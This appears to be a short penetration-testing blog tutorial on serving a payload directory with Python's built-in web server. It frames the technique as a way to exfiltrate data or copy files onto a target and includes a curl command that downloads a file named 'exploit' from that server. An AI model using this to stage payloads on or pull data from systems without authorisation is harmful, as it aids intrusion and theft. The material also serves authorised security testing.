Secure Network Management

hackers on your side

  • Why are you here?
  • Security Assessment
    • Incident Response
    • Regulations
  • Toolbox
    • Code
    • Default Password List
    • Threat Modeling
    • Tutorials
    • Vulnerability Disclosure
  • Knowledge Base
  • Contact

Simple Python Web Server

Posted by SNM on May 13, 2017

Summary

Simple Python Web Server

Command

Python 2
cd /payloadDirectory
python -m "SimpleHTTPServer" 8000
Python Web Server

Python Simple Web Server

Python 3
cd /payloadDirectory
python3 -m http.server 8001

python3 Simple Web Server

python3 Simple Web Server

Description

The web server will show the contents of the payloadDirectory
800X is the configurable listening port

Use this technique to exfiltate data from a system with python installed or copy files onto a system.
This works well for curl or a browser.

curl -O http://127.0.0.2:8000/exploit
curl Download

curl Download

Browser Download

Browser Download

Posts navigation

← Directory Traversal to Shell
Netdiscover Host Discovery →
  • Recent Posts

    • Nexx 3020H Responder
    • Nexx 3020H LAN Dropbox Build – Comedy of Errors Edition
    • SMBv1 Scanner
    • 2018 Projects and Look Ahead
    • Weaponized Boredom
    • Knowledge Base Update
    • Automated tcpdump Script
  • Categories

    • Code
    • Threat Modeling
    • Tutorials
    • Uncategorized
    • Vulnerability Disclosure
    • Website Update
  • Archives

  • Site Search

Proudly powered by WordPress Theme: Parament by Automattic.